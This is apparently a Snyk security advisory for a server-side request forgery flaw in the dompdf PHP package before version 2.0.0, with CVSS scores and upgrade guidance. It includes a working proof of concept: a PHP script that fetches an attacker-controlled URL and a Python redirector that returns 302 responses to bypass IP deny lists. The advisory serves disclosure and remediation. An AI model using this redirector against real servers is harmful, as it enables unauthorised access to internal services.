Server-side Request Forgery (SSRF) Affecting dompdf/dompdf package, versions <2.0.0


Severity

Recommended
0.0
low
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Mature
    EPSS
    0.07% (32nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-DOMPDFDOMPDF-2936790
  • published 29 Jun 2022
  • disclosed 29 Jun 2022
  • credit haxatron

How to fix?

Upgrade dompdf/dompdf to version 2.0.0 or higher.

Overview

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). When DomPDF is being used with isRemoteEnabled and allow_url_fopen set to true, and the IP addresses are restricted via a deny list, it is possible for an attacker to pass in a URL which bypasses this deny list but serves a 302 redirect response to a restricted IP address.

PoC:

poc.php

<?php

//URL variable

$url = "http://[ATTACKER-IP]";

require_once 'dompdf/autoload.inc.php';

use Dompdf\Dompdf; use Dompdf\Options;

$options = new Options(); $options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

$host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host);

if ($ip !== "127.0.0.1") { $dompdf->loadHtmlFile($url); $dompdf->setPaper('A4', 'landscape'); $dompdf->render(); $dompdf->stream(); }

?>

redirector.py - hosted on http://[ATTACKER-IP]

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2: print("Usage: {} <port_number> <url>".format(sys.argv[0])) sys.exit()

class Redirect(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', sys.argv[2]) self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
3.7 low
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    Low
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

5.3 medium